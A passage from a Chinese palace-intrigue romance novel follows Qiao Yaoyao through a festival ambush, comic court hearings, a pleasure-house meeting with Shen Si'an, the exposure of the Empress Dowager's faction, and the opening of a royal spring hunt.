三人站在一个卖首饰的铺面前,乔青松一眼相中其中一个紫色玉簪,去了旁边铺子正细细端详没注意到沈祀安挑了一个要给乔杳杳往头上簪,乔杳杳笑着往后躲却不曾想涌来一阵人群连带着她都涌走,沈祀安蹙眉伸手去抓却没抓住,也是乔杳杳有心不让他拉。
乔青松听见动静顾不上簪子跟着人流挤了进去,乔杳杳穿了一身橘红梳两个小揪,夜色深就算有灯也看不清楚、看不真切,他个子高大左右张顾却没看见乔杳杳,沈祀安脸色沉得像墨一样黑,刮一刮能掉三层灰。
乔青松自责,瞥他一样冷声道,“舍妹初来乍到,还得麻烦小侯爷和我分头找找。”
“沉月,回客栈等着,元娘可能自己回去。”沉月再着急也没用,只能抱着东西乖乖回去等信。
乔杳杳进了人流一开始还有些慌乱,没等适应又被一个人拉住胳膊拽了出去,那人手腕有力,一把就将她拉了出去,乔杳杳心下一沉,控制不住自己身体不得已撞在那人身上,梨花香扑面而来还带着一些风尘仆仆的味道。
她推那人一把,连忙挣脱,乍一抬眼对方带着银制面具,不知道是什么魑魅魍魉,只露出一双亮眸,含笑望着她,星星点点全是碎星,耳边不知道是谁的心跳声震耳欲聋。
“姐姐?”没人应。
她只能到那人的胸膛,若是苏清序短短几个月不见就长这么高了吗?她可是一点没长,而且这人是男子装扮,她蹙眉不悦沉声道,“放开!”
手上用了力气,可那人置若罔闻,只弯腰与她平视,玉扣高束的马尾随他动作拂过她的手,那人力气不松却没也将她抓疼,少女生气的眉眼也如此好看,许是怕人真恼只让她又挣扎了两三下就松开了。
不远处的费承风嗤笑两声,戴上面具敲桃肆脑袋道,“走啦,七哥给你买杏子饮。”
“费公子!别忘了咱们的正事!
“又不差个杏子饮,走啦!”
乔杳杳挣开束缚后扭头就走,那人死皮赖脸又跟上来,姑娘呵斥他也没用干脆拿脚踢,他依旧不恼,跟块狗皮膏药似的跟在姑娘身后。
“你.......”云片糕递到姑娘眼前。
“我......”糖葫芦也举到姑娘眼前。
接下来还有油酥炸饼、小鱼干......等等,乔杳杳越来越觉得不对劲儿,陌生男子会给你买云片糕、糖葫芦、油酥炸饼、小鱼条......???
那股子梨花香萦绕在她鼻尖,就当桃酥要成交递到她手里的时候,她看着只有一个耳洞的眼前人突然出声,“你是不是有什么难言之隐?”
少女眼眸明亮,直直望进他的心底。
没来得及回答,变故发生在一瞬间,一只长箭划破空气穿过人群直奔他们二人,姚淮序顾不上手里东西一扔拉着乔杳杳堪堪避过,那箭钉在卖桃酥的小商贩身旁,不知道谁先喊了第一声,接着第二声,人群吵闹起来,推推搡搡挤在一处,妇人尖叫、儿童哭喊,各色声音交杂在一起仿佛要戳破乔杳杳的耳膜,四周不知哪里冒出来的黑衣人团团将他们围住。
动静极大,乔青松和沈祀安不约而同拨开人群朝这个方向跑,逆着人群本就费力,又看见最乱的地方起了火,更是心急如焚。
姚淮序把乔杳杳护在身后,她以为他们要对打,谁知下一刻胳膊被拉住顺着对方力道在混乱不堪的大街上狂奔起来,几只箭矢破风而来,他拉着她一直往前跑,根本顾不上回头,身后的脚步声越来越紧,近在须臾她害怕地下意识要扭头时却有人将她头掰正,在她背后推了一把,耳边兵器相接尽是打斗声,踉跄两步猛然回首。
乔杳杳
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站在一座不知名地酒楼前,酒楼已经着火,火焰燃上天幕点亮整个夜,风久久不平歇,吹得那火舌胡乱摇曳猖狂至极仿佛下一刻就能将楼前的人吞噬进火海,有人大喊着姑娘快跑啊!她却充耳不闻,浑身发抖,好似吓傻一般一双黑眸紧盯眼前的锦衣公子,月白腰封染上鲜血,好几处都洇了血渍,从敌人手里抢了把剑与人搏命,剑身滴血。
那人偏头看她,“跑啊!”
她转身又跑起来,跑着跑着眼睛模糊涌出眼泪簌簌掉在身上、地上,乔杳杳停了下来,没有任何犹豫折返回去,她看见有人在高楼上搭弓对准那锦衣公子,
“小心!”不知道哪里生出来的勇气她挡在他身前,电石火光之间箭矢对准她的心口,闭眼等着疼痛降临时措不及防下一刻落在一个温暖怀抱里,箭头插入肉的声音明显,只听见那人闷哼一声,湿润润的东西沾湿她的前襟,尖锐的异物感让她心口也生出钝痛。
黑衣人来得莫名其妙走得也莫名其妙,面具银制掉落乔杳杳偏头避开才没有砸在脸上,但她却不敢再抬头了,手抖得不成样子去捂那伤口,一片湿润。那人倒下来,乔杳杳也被带倒在地。
“元娘.......”
姑娘傻愣在一瞬,嘴巴一张一合说不出来话,只呆呆地捂着伤口泪珠子半挂要掉不掉,脑瓜子嗡嗡,同耳鸣般听不真切,但她听见了。
舒朗悦耳。
“我跟你......说个......事儿”
“我不想听你别说。”
“我......男的.....”
乔杳杳崩溃大哭,手捂在姚淮序的胸口声音哽咽不成样子,“啊啊啊啊我不是说了我不听了吗!”
姚淮序露出得逞的笑,无力又脆弱的咳嗽起来,血从嘴角止不住得往外溢......
……
又下起了雪,飘飘扬扬,如鹅毛般从天而降,乔杳杳掸去落在宫装上的雪后接过太监手里的香炉,亲自端到太后殿里,用灯烛点燃,烟气袅袅升起。
“做了女官还要来这殿里伺候我,心里不得有怨气?”
“太后这不是成心存了打趣杳杳的念头?杳杳巴不得日日呆在您老身边。”
“宫里多少人都比不上你这张嘴甜呀!”太后笑着朝手让她坐在自己身边,乔杳杳依言坐下后被拉住手,太后一副慈祥模样,手搭上时却见她眉头蹙起,嗔怪道,“手怎么这么冷?”
乔杳杳笑而不语。
“听说你兄长如今在大理寺任职?”
“是。”
“郊外出了一件案子,你可听说过?”前两天从郊外发现十具女尸,死状极惨,具体不可描述,总之骇人听闻,宫里内外都震惊了,陛下大怒命大理寺彻查,主管官员正是乔青松。
“杳杳不大清楚,整日在宫里对宫外的事情不了解。”
太后用手拍她手背,时轻时重,笑得别有深意,“我和陛下说让你去帮帮你哥哥,你们兄妹情深,你哥哥肯定高兴。”
“太后娘娘我......”
“好了,我也乏了,你先下去吧。”
在这宫墙里,最危险最不能琢磨的便是人心,伴君如伴虎,行将踏错一步便是万劫不复,乔杳杳站在红墙底下,如坠冰窖,手脚发冷,太后这是要试她,京郊的案子背后难道和太后有关?
这无疑对乔杳杳,对乔家是个难题,这是他们来这盛京面临的第一道“陷阱”。
40. 掀得过去吗?
乔杳杳蹙着眉坐在官桌前的一张椅子上,头顶上的大匾赫然写着“明镜高悬”。
“怎么派了个女人来!我要见大理寺的官员!这么个女人又是谁?让她来判案子笑掉大牙了!大理寺是没人了吗?谁都能来?哈哈哈哈哈哈哈”
旁边跪着的更是大胆肆意妄为到坐在地上跪也不跪了。
等那人说完,乔杳杳不急不慢道,“来人,此人语出不逊,蔑视主审官员,掌嘴十。”
旁边的衙役颤巍巍上前执行,他方去催人见到乔杳杳的时候也是立马否定这怎么能行?可乔杳杳拿出太后的腰牌,身后还有小侯爷那双狠戾眸子,光看就能让人胆颤,这可是位他罪不起的贵人,贵人爱怎么来怎么来,总归他领了人去任务就算完成。
可到了堂上她竟让自己站在一旁,身边弟兄们不停得给他递眼神,他只能微微摇头避而不看,虽然是个姑娘,可金贵着得罪不起。
那人被按住,十个巴掌扇的他脑子嗡嗡,动手的衙役心思也早就云游飘到几千里外。
第十一个巴掌堪堪扬起要落下是乔杳杳出声喊道“停下”,衙役心惊差点就要犯了错,扭头笑嘻嘻赔笑脸时一见乔杳杳沉着脸,心下又是一凛。
“现在可以说了?你要是不说后面还有那么多人等着审案子,不要浪费大家的时间。”
“窝说窝说”旁边人直直跪好。
“窝叫张三,他叫李斯,窝假养了三只老母鸡,脚他投走一只,他不承认。”
乔杳杳拿出宫里女官做派,坐的端正笔直有模有样。
李斯被挨打的晕晕乎乎,现下认清了局势也跪的笔直,谄媚道,“大人,您别听他的,连个话都说不全乎,我来说我来说。”说着他就跪行两步上前。
“跪回去!”
“欸!好嘞好嘞!我叫李四,我晚上饿极了一打开门发现有一只鸡在我院子里,心想着这是上天对我的惠顾,然后就吃了,谁知道张三第二天非说那只鸡是他的!明明是上天的惠顾,平白污蔑我还非得告上公堂,您可要为我做主啊!”
“打人!他胡说!那奉命四窝家的鸡,他偷窝的鸡!”
乔杳杳胳膊靠在椅子上忍不住拿手磋磨自己的额头,啊,她是“打人”。
“李四,你吃的那只鸡是什么颜色的?公鸡母鸡?”
“打人!窝……”
“你闭嘴——”
李四捂着脸心里嘀咕,他哪儿知道,胡诌了一个“公鸡,红色,是个红公鸡。”
“张三你说,他吃的鸡是什么颜色,公鸡还是母鸡?”
张三痛哭流涕,“四母鸡啊!红黑,投喝脖子四红塞,尾巴四黑塞,啊啊啊窝的母鸡啊!”
“什么时候发生的事情。”
“灰打人,枣~上!”
乔杳杳头痛,招来衙役吩咐两句,衙役点头从旁边离开。
“打人!怎么揍了!恁可得给俺佐助嘞!”
李四腰杆子挺直,脸边火辣辣的痛,“快别说了,大人明鉴,您别理他,他之前是边州来的,说话含含糊糊说不清楚,我怎么会偷邻家鸡吃!”
乔杳杳不耐烦,那股子邪火还没压下去,那手指点在扶手上一下又一下敲着,眉目见的烦躁不言而喻。
李四看她不理自己也就讪讪跪在一边默默拿手摸自己的脸,心里骂个不停。
“姑姑,是红黑色,这是在李四家搜出来的。”
“打人!恁砍窝说就是塔吧!”
“怎么可能!”
衙役不理李四的尖叫,将鸡毛递给乔杳杳,乔杳杳接过鸡毛斜眼瞧他,李四不可置信喊道:“怎么可能!我明明埋在……”
李四后悔了,脸色苍白。
“埋在哪里?”
他怔怔死不回答,身旁的衙役将拒不承认、抵死赖账的罪名及刑法一一列举,李四跪在地上止不住求饶,说自己要将功补过,张三更是痛哭流涕喊道“阵势清汤大姥爷!”
摆摆手,结束一场闹剧,衙役挥挥手,一男一女被带上来。
这个更是荒唐,男的说自己媳妇的私人衣物让另一个男人悄悄偷走,污了他媳妇的名声,那妇人也是要哭要闹,非要个说法。
要不那些大理寺官员都推托说有事,真是一地鸡毛。
“等等,这些事情不归大理寺管,你们去府衙敲登门鼓吧。”
“大人!那边就是说这案子复杂让我来找大理寺做主,难不成……您不是?您若是不是就还请主审判官出来……”那妇人的丈夫义正言辞说道。
乔杳杳叹口气,“我写一封信,你拿信去。”
“可是大人……”
“可是什么可是!大理寺主管案件刑法,民间琐事找府衙去!再报错官先敲二十大板!”
“去拿纸笔!”
堂下的人瑟瑟发抖,那个男人愤愤不敢言,乔杳杳笔走龙蛇写好交给他,朝后喊道,
“下一个!”
后面的人听了她刚刚发的那通火直接一哄而散,这下好了,真是乐得清闲了。
“三小姐。”
乔杳杳不曾起身,偏头看向后堂的車井,她两腿叠交在一起,車井弯腰拱拳,
“小侯爷请您去满园春。”
“不去。”
“小侯爷说想办法让您去,还请三小姐不要为难我。”
“哈……”乔杳杳盯着他,施加威严,“我说,我不去。”
車井头低得更低,“小侯爷说,此事关乎那命案。”
真是给她气笑了,衙役不敢吭声,乔杳杳路过車井身边时,用只能他们两个听到的力道说,
“車井,我记得你,元丰十三年,北郡除夕夜。”
車井瞳孔猛缩,心脏狂跳,刚想说一句别的可她已经擦肩而过,错失良机。
阁雪云低,卷沙风急,檐角早早挂起灯笼点了火烛,已至傍晚未见黄昏,天色阴沉昏暗余留满地雪白。
满园春楼前尽是欢声笑语,女子们卖艺不卖身可也不会有姑娘来,乔杳杳还是要脸换了一身男装,软靴踩在毛毯上,走在暖灯照的阁廊中面色阴沉,过往的姑娘瞧着这么个标志郎君竟一时间没有个敢上前的。
老妈妈有心给这位锦衣公子搭个美人,身旁的車井一露面她便也打消了心思,原来是小侯爷的人,从二楼扇扇子下楼殷勤道,“是小侯爷的人呀!小侯爷那间包厢我带您去吧。”
“王妈妈,不用了。”
话落車井抬剑挡住王妈妈的动作,乔杳杳蹙眉忍着鼻尖香郁脂粉,偏身躲开径直上楼,莺莺燕燕的调笑娇声不堪入耳,姑娘心里巴
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不得把始作俑者撕个粉碎。
“我说小侯爷这是等谁呢?眼巴巴看着门口,能看出来花儿?”徐显搂住一个姑娘调笑。
曹倸将身旁姑娘手上送来的蜜桔吞入腹中忍不住添了一句,“可不是,也不知是谁惹了你,今日倒是垮着脸活像黑罗刹。”
沈祀安坐靠在椅背上,单腿直起,仰头躲开婉晴的手,缓和三分颜色挑眉道,“一会儿不就知道了吗?这位可是个大人物,婉晴姑娘可要好生照顾照顾。”
婉晴是这楼里的花魁,样貌才艺样样精通,听到这话不免娇羞嗔怪,“小侯爷平素不来一次,前些日子更是去了北郡好几月不见人影,回了盛京……”
玲玲琅琅作响,有人掀了珠帘子进门来,那人一段嫩白脖颈先映入眼帘,屋内人动作都停了下来,目光注视着他,随即抬头露出明眸皓齿,面上带几分温怒,好个生动的小公子!
这不是乔杳杳又是谁?
徐显推开美人起身,曹倸从美人手上接过酒杯也示意她离去,随后扬手一挥舞女们鱼贯而出。
“我说季与,这是盛京里哪位?怎么没有见过……诶,你走什么?”
乔杳杳跟在舞女身后就要出门,不料車井率先出去把门关上,她不得已被迫转身,对上曹倸那双好奇兴奋的眼睛。
“曹大公子,这哪儿是位公子呀,这明明是个……”婉晴紧随其后,用手勾去勾乔杳杳的下巴不料被人一巴掌拍开,她也不在意换了手撑在门框上,快要贴在乔杳杳身上时才口吐兰香,
“俊俏小姐~”
在场的除了这女子不认识哪个不面熟,曹倸是兵部尚书家的公子,徐显是科举进士新贵。
她轻推婉晴的肩头,不料锦缎丝滑直直要落下来连忙双手捂住给她提了上去。
婉晴娇娇一笑,不再为难,转头坐在沈祀安旁边,“小侯爷如今怎么小肚鸡肠连这么有意思的女郎也要为难?”
曹倸一拍脑门,“你好像有点眼熟。”
“乔家那位。”徐显提醒道,“进了宫的那位。”
这么一说曹倸就想起来了,越过乔杳杳朝外间吩咐上两壶清泉再来写糕点。
“坐吧,三小姐。”
徐显为她让开一个座位,恰好是沈祀安旁边,从她进来那人一句话没说但视线却一刻不离。
乔杳杳没动。
婉晴能留在他们身边自然是有些本事的,当下活络道,“小侯爷,您惹了乔小姐生气怎么还端着架子?”
沈祀安偏头看她,似笑非笑,“你怎么知道是我惹她不是她惹我?乔小姐本事大着呢,我可惹不起。”最后一句话说的真是格外咬牙切齿。
徐显打圆场,“三小姐我不知道,可你却是个混不吝的,快给三小姐道歉这事就掀篇了不是?”
沈祀安不悦,又往火口上燎,“掀篇儿?怎么掀?乔三小姐也让我砸一砸?”
“乔三,掀得过去吗?”
溪月郡是乔杳杳心里永远的刺,“掀不过去,我和小侯爷本就不是一路人。”
曹倸余光瞥见沈祀安越来越沉的脸色心里咯噔,连忙请姑娘落座,嘴上不停,“三小姐和他个纨绔计较什么,怎么不是一路人了。来来来,可不坐他身边,我也嫌他晦气。”
“曹倸,你找死?”
42. 叫我做什么?
“小姐……小姐……日上三竿啦!”乔杳杳翻个身充耳不闻,仿佛又回到了北郡日日被催去学堂的时候,她两手一摆,
“就说我今儿身体不舒服,不去了。”
“您睡糊涂了吧,宫里来了人,您快起吧!”
“什么宫里人,你让乔青松他自己去学堂嘛。”
乔杳杳将被子往头上一盖,翻身直接滚到床的里侧。
沉月见只说话不行,便上去拽被子,着急道,“小姐,咱们在盛京了,不是北郡,宫里来了人都在外面等您。”
乔杳杳脑子炸开了,囫囵爬起,“快点快点,给我洗漱更衣。”
“我昨天怎么回来的?”
沉月手上不停,对答如流道,“小侯爷安排了马车送您回来,还喝得醉醺醺不省人事,怎么小姐都忘了吗?哦对了,还有一封信,就在桌子上”
“我哥哥呢?”
“公子大抵还在京郊。”最后一缕头发梳好戴上珠钗,她也慢慢想起昨天之事。
两人到正院时陛下的大公公已经等候多时,见了乔杳杳起身颔首行礼表明来意,
“陛下想见姑姑。”
乔杳杳做半蹲福礼,笑道,“公公这不是折煞我吗,该是我给您见礼才对,既是陛下召见,还请公公稍等片刻,我好梳洗打扮一番,失了礼数免得叫陛下笑话。”
福公公摇摇头,“非是咱家不愿,实在是陛下催得紧,我看姑姑这一身也是妥帖,如此便好。”
“既如此,便劳烦公公了。”
“姑姑,请。”
福公公朝门口做出请的动作,乔夫人一脸担忧,乔杳杳回母亲微笑安抚她,随后行至门口又忽道忘记一物,福公公略微思索最终点头应允去取。
红漆朱墙,黄瓦翘檐,檐角的积雪化成水时不时滴落,落在正下方的大缸里。雪消融时总是更冷一些,乔杳杳不知道陛下为何突然召见,可福公公未必不知。
“公公在这宫里少说也有三四十年了吧。”
福公公笑呵呵道,“乔姑姑聪慧,咱家知道也晓得姑姑想问什么,不过非咱家能说之事,还请姑姑不要为难。”
“福公公言重了,杳杳并非有意。”
“姑姑聪慧,见了陛下只需如实回答就可,陛下是圣主,小侯爷和乔公子都在,姑姑宽心。”
乔杳杳心头一震,“多谢公公。”
进了乾清殿二人不再说话,福公公率先进主殿,乔杳杳候在侧殿,时不时还能听到主殿传来的呵斥和咳嗽声,有一两句格外清楚。
“你可知你在说些什么?!太后是朕的母后!”
“你可有何证据?”
接着沈祀安模模糊糊的声音传来,福公公到侧殿传召乔杳杳
这是乔杳杳第二次见盛州的陛下,第一次远远看着未曾抬头,这次倒是匆匆看了眼,只觉得陛下身子骨羸弱,比之传言更甚。
“你就是母后身边那位女官?”
“回陛下,正是奴婢。”
“你抬起头说话。”
乔杳杳缓缓抬首,映入眼帘的先是黑金做边的云锦靴,接着是明黄龙袍,最后才是梧帝的面容,虽然面色苍白但帝王之相叫人不敢直视。
只一眼乔杳杳便立刻垂眸,不敢多看,梧帝却沉默盯着乔杳杳许久未曾说话。
大殿上陷入一种诡异的沉默,沈祀安开口道,“陛下不是要审问十六具女尸的案子吗?乔姑姑想必都知道。”
“好……你是乔万屹的三女儿?”
他忽然问了一个题外话,乔杳杳答是。
“好啊,倒是比你爹更像乔将军。”
这个乔将军说的是乔杳杳的爷爷,效忠于梧帝,替梧帝对战草原的乔将军。
“那么你来说说吧,可有什么眉目?”
凭借多年的默契,乔杳杳只需和乔青松对视一眼便知什么该说什么不该说,她将来龙去脉以及中间关键点出,随后奉上一个信封,里面尽数是崔仕成的罪证还有崔家仗势欺人的证据。
摆平这些案子除却崔家势力还有太后的手笔在里面。
梧帝大怒,止不住又咳嗽起来,乔杳杳垂眸,乔青松借势将太后与崔家同流合污一事再次禀明。
他今日就是为了此事而来,与他同行的大人遭到暗杀,本来他也犹豫要不要上报陛下,可是见过浮尸百里又见过活生生的同僚下一刻倒在自己面前时便决心让太后和崔家付出应有的代价。
沈祀安说的没错,这盛京,早就烂透了。沈祀安也真的能算计人心,步步不差,乔家除却他再也没有别的选择。
高处不胜寒,太后把持朝政梧帝早就心生不满,纵使身体羸弱又有什么关系,这君主,这万人之上的位置只能他一人来坐,他才是盛州的君主,不允许任何威胁他权力的因素存在,他谁都不信。
梧帝或许未看透,但乔杳杳、沈祀安、乔青松三个人都明白,那位子上的人,注定孤寡,孤独。
后面的事情就变得简单起来,崔家被罚,过往涉及到的冤案、错案、假案被重新整理,由沈祀安牵头乔青松相辅,重者当斩,轻者流放三千里,女眷则送入教坊司,太后则被囚禁起来,美名其曰陛下不忍,是为恩赐。
那天乔杳杳也在,一向雍容华贵、高高在上的太后愤怒起来也如乡间妇人般会破口大骂,骂黑心肝、骂没良心、骂心都让狗吃了,目光触及乔杳杳连她也打算不放过时,一道靛蓝色身影将她挡住。
所有宫女、公公都被遣出去,这是乔杳杳为她保留的最后的体面。
太后缓缓坐在地上,骂够了也骂累了,泪水顺着眼角的皱纹流在地上,歪头看沈祀安片刻,仔仔细细整理妆容,重新端起太后的架子,又是那个端庄和蔼的老人,仿佛刚才都是假象。
红色宫门缓缓合上,院子里的梧桐树枝光秃秃,一片萧瑟,到最后也没再看他们一眼。
乔杳杳没有出宫反而留在了陛下身边,同福公公一起负责陛下的起居还有一些宫中琐事,天空开始下雪,纷纷扬扬,今年的雪格外多,除夕夜又下了雪。
“乔姑姑同刚进宫那会儿变了许多。”福公公和乔杳杳站在乾清殿外,望着地上
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铺得薄薄一层积雪,还在继续下着。
“福公公真是折煞我吧,这点东西都还是您教的。”
“哈哈哈哈,好啦,不闲聊了,也该去宫宴了,我去请陛下,你去看看那边准备好了没。”
“是。”
除夕的宫宴会邀请大臣以及家眷,后宫的女眷只有最受宠的和皇后可以参加,梧帝膝下子嗣少,大多不出彩,公主们倒是生的美丽,最漂亮的还要当属霁月公主,二八年华,却已倾国倾城。
“小声些......”
这个时辰了怎么会有人在御花园?乔杳杳蹙眉,心想该不是哪位迷了路的贵人吧,一会儿陛下路过冲撞了陛下可就不好了,这么想着她也就提起裙摆进了假山,不料里面走出来一个人,猝不及防生生吓了一跳,惊呼还没喊出口就叫人捂住了嘴巴。
哪个登徒子或是贼人这么大胆?!
“乔三小姐,是我,勿怪。”
乔杳杳定眼一瞧,不是徐显又是谁?她垂眸示意他松手,徐显讪讪松开后退倚在假山旁。
“徐公子不去前面宫宴在这儿做什么?”说着她就往进走,倒要看看有什么猫腻,可徐显直直挡住她拦在她面前,笑道,“马上去,碰见了熟人说两句,三小姐是要去宫宴吗?再不去就要晚了。”
这是实话,除夕宫宴格外重要,可不能出什么差错,探究的心思打消,临了临了走之前乔杳杳在不远处回头,声音如常,“徐公子,这是宫里,还请你安稳些,把背后人藏好,再叫我遇见可就没有这么好说话了。”
那人露出来的裙摆被扯回去。
“乔三......”
“我会告诉小侯爷的。”
徐显靠着假山失笑,身后人恼羞成怒扭头就走,他也不追,看那人没了影儿才悠悠赶往宫宴,笑意不减。
……
“今儿把眼睛都放亮了,提着脑袋干活,外面都是些贵人,得罪了我可不保你们。”
“是。”
乔杳杳满意点头,目光从领头宫女逐渐滑到队尾,最后那宫女眼神闪躲,颤颤巍巍,她走近了蹙眉问道,“慌什么?”
“我......”
“欸呦喂,姑姑,您怎么还在这儿?前儿福公公叫您呢~”
“叫我做什么?”
“小的哪儿知道?您快些去吧。”
小太监面色焦急,乔杳杳将手里的酒壶放下,意味深长地看了那宫女一眼,随后吩咐小太监仔细检查,小太监连忙应下,可她走了之后小太监只是随意看看便摆手让宫女们依次入场,最后的那个宫女悄然长舒一口气。
梧帝多喝了两杯,说话比平时随和很多,第三杯刚要放到嘴边福公公递给乔杳杳一个眼神,乔杳杳心领神会出口劝阻,“陛下,这汤膳坊的厨子炖了许久,那会儿奴婢就闻到了香,您尝尝。”
梧帝用手点点福公公又点点乔杳杳,眼里含笑道,“可算是叫福满带出来了小徒弟不是?”
“哈哈哈哈哈哈好,那我就先尝尝这汤。”
汤汁透亮,汤香浓郁。
46. 如意杖,讨彩头
一路上就数他们二人话多,曹倸道,“今儿陛下也来了,这头彩各位哥哥就让给我吧。”
开场后会放一只头彩兔子,随后公子侯爷小姐的都各自或结伴进入林子打猎,头彩有赏,打猎最多者也有。曹倸想要赏赐又不想费大功夫,拿个头彩正好回家哄老头子高兴。
徐显不同意,挑逗道“叫声哥哥就想拿走头彩,未免太容易了点吧。”
乔杳杳今儿心情很好,添上一句,尾音上扬,“曹大公子,怎么不说我两句好话,这不是瞧不上我了不是?”
乔青松回首,放慢脚步,“姑娘家家的,怎么也不懂个矜持?在宫里做姑姑也是这副模样?”
沈祀安一笑,“乔大人,出来玩儿就没那么多拘束了,再说乔三小姐这样……”
乔杳杳也看他,问,“这样如何?”
一道清亮女声把所有人注意力都吸引过去,“怪不得父皇找不到人,原来都聚在这处。”
哒哒的马蹄声渐渐变弱,众人下马行礼,除了沈祀安松松垮垮点头致意其他人都躬身做福礼,
“霁月公主安好。”
霁月手拿纱扇半遮住阳光,状似无意略过徐显看向乔杳杳问道,“听说乔姑姑精通骑射,父皇特地应允姑姑来这场上跑一圈儿,一会儿不得给大家露一手?”
乔杳杳不卑不亢,如常答道,“陛下抬举,不过是少时胡闹学得的本领,只会跑两圈马,走上几遭,算不了精通骑射。”
“呵,果然是……”
沈祀安安抚马儿,修长手指揪起一缕马鬓绕在指尖,“公主怎么来了?”
霁月眯起眼睛扫过在场的人,目光落在沈祀安的指尖,忽而就笑了,“父皇召乔大人。”
乔青松将乔杳杳拉到自己身后,霁月做请的手势,“多谢公主告知,既是陛下召见想必耽误不得,臣与公主同路,不如一起走一段。”
“谁说我跟你同路。”
“霁月,差不多行了。”
沈祀安曾经在宫里住过一段时间,霁月脾气不好,若说乔杳杳有七分娇纵那霁月就有三十六分的恃宠而骄,谁也惹不得,但是霁月在宫里也有怕的人,一个是梧帝,另一个就是沈祀安。
霁月不情不愿走了,曹倸问乔杳杳,“你得罪霁月公主了?”
乔杳杳不说话看向徐显,似笑非笑,沈祀安看着徐显也笑,随后拉了乔杳杳胳膊一下,“走了。”
曹倸摸不着脑袋,拿肩膀撞徐显,“怎么回事?”
徐显烦躁胡乱回了句,“我怎么知道。”
曹倸不依不饶,“怎么可能!他们两人都看你,难不成是……”
徐显怕他下一句说出来什么更过分的话,因为他的表情已经很目瞪口呆了,主动揽住曹倸的肩膀哥俩好地说,“你看乔三和季与两个人怎么样?”
“一紫一蓝,嗯……绝配!而且郎才女貌……不过就是……郎有意而女无情。”
前面两个人时不时传来两句插科打诨,瞧着亲密却又疏远的,很怪。
“简直就是……”
“假夫妻?”
“哎!没错没错。不过二人没成亲这不正常吗?”
徐显挑眉,顺势道,“你没发现季与不像平常那般挨得乔三近吗?”
“什么意思?”
“你傻呀,这不明摆着故意疏远呢嘛?”
曹倸陷入深思,感觉确实是这个样子,不解问道,“上次在满园春不是还好好的。”
徐显一脸得意,“不知道了吧!”
“他们两个都赐婚了……难不成……季与喜欢别人了?”
“……”
徐显招招手,曹倸耳朵凑过来,两人嘀嘀咕咕凑在一起说话,乔杳杳察觉身后少了两人一回头就看见凑在一起的两个脑袋,下意识看沈祀安,沈祀安目视前方,毫无异样,两人谈论起刚才的事情。
“这会儿陛下召见我哥哥是做什么?”
沈祀安很享受乔杳杳把他当做无所不知的这种感觉,什么都愿意问他,眉尾上挑大言不惭回,“不知道。”
顺势扭转话题,“最近有什么发现吗?”
乔杳杳心思回拢,“没有。不过……”她侧首看他,对上视线,“什么时候动手?”
这个是沈祀安意料之中的问题,马儿踏出阴凉地,阳光直直落在沈祀安面上,少年眯起眼声音沉稳不徐不疾道,“差些火候。”
“差什么火候?你是不是有什么事情瞒着我们?”
“没有。总得等锦州使臣走了之后吧,总不能叫外人看了笑话。”
又是这个敏感话题,沈祀安不动声色打量身旁人,乔杳杳心思却在别处并未发现。
算算日子也就这两天使臣进京,可从沈祀安面上看出来好像不止如此。她不信这说词,将自己的马儿向左一转别停沈祀安,沈祀安笑了,那束阳光现在全部落在他身上,整个人金光灿灿。
“等你发现点什么苗头的时候我就告诉你。”
“关于什么?”
他把手指竖在唇边,身子前倾,乌黑色的马尾顺着动作落在胸前,若不是有玉扣支着怕是早就倾泻而下,瞧着比女子绸缎还有丝滑。
她好像见过比这更乌黑亮丽柔顺的,手腕上红绳突然有些烫,乔杳杳调头朝向春猎扎营的营地,头也不回,“谁给你束的发,乱死了。”
沈祀安一愣,随即笑了,明明整齐的很。他的目光直直落在姑娘的发尾,那发尾随主人动作一晃又一晃,在他心里荡开涟漪。
“乔三,脸红什么?”
“小侯爷早上吃了臭豆腐吗?眼睛跟着也不好了?”
“你骂我呀?眼瞎口臭?”
“没有……”
翁然一声金锣响,要放春猎彩头正式开场了。
曹倸刻意驱马插在乔杳杳和沈祀安中间,徐显在乔杳杳外侧。
“家里老头儿最近不高兴,还请各位高抬贵手让让我,事后必有重谢。”
他抱拳环绕一圈儿,乔杳杳笑着问,“曹公子,口说无凭,得拿出点什么宝贝让我开开眼我才愿意。”
“乔三小姐想要什么宝贝尽管说,但凡是我能找到的必然奉上,再不济,也有咱们宁安侯府,你和
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季与定亲总归他是不会亏待了你的。”
那晚的场景历历在目,轻易就能勾起的回忆让沈祀安面色一黑,直拿鞭子抽曹倸的马屁股,马儿痛叫一声飞快跑出去,曹倸慌慌张张拉紧缰绳顾不上回头斥责沈祀安。
徐显给自己擦汗,真是个蠢才,才和他讲了这俩人之间闹别扭欠一把火,他就说自己要舍身为兄弟添上这火,真是曹倸一张嘴,送断千里好姻缘啊。
说归说又不可能真不管他,徐显驾马去找他,乔杳杳也不笑了,晃晃悠悠去往开场的地方,沈祀安心里真是问候曹倸祖宗十八代了,哪壶不开提哪壶,曹大人嘴皮子一向伶俐,在众多言官里面更是佼佼者,怎么养出这么个缺心眼儿的玩意儿?
片刻众人骑马齐聚在开场地,纷纷翻身下马,朝梧帝问安行礼,梧帝身旁是霁月,背后站着福公公,两侧坐满了大臣和亲眷。不知是不是出来吹风的缘故,他咳嗽更厉害了些,这样子是没办法亲自下场的,但是打赏的彩头却要他定。
梧帝咳过缓上半息后清清嗓子,道,“今年春猎和往年大不相同,乔大将军回京是一方面,另一方面锦州使臣不日就要进京,我盛州好儿郎自当要拿出些真本事叫外来使臣好好瞧瞧,我们是如今何等鼎盛强大”
“陛下圣明——”
“既如此,今年的彩头便是这如意杖吧。”
年轻一辈儿的兴许不知这如意杖是什么,只顾捧着乐呵呵叫好,说寓意平安如意、顺顺遂遂、国祚安康;可几十年的老臣却是大惊,这杖是当初先帝赐给当今皇后娘娘的。
当今陛下少时脾气古怪,行为举止浪荡不羁,鲜少有人能劝住,他与皇后本就不是两情相悦,先帝赐婚时正是看重当今皇后端庄识大体,若是夫妻二人不和,皇后便可拿先帝御赐的如意杖给自己撑腰。
本意想让皇后和梧帝互相扶持,不要走歪路。
如今怎么能拿出来做彩头?!
刚有大臣准备规劝猝不及防沈祀安笑着将路堵死,只听他道,“陛下好大方,看来我可要拿出我的真本事了。”
“你小子可不要说大话,在场的哪个才俊不是一把好手?”
“您瞧好吧,定不会叫您失望的!”
“好!那就开始吧!”
两人眼眸流转,乔杳杳在一侧看的清楚,心思活络猝不及防听到梧帝又问,
“乔丫头,听季与说你的骑射在北郡也是出了名的,今日特许你不用伺候,可要好好露两手叫朕瞧瞧啊!”
众人从侍卫手里接过自己的箭篓,或背着或放在马侧,沈祀安不急不慢的把自己箭篓绑在马侧,手腕上护镯随主人动作泛出明亮光泽。
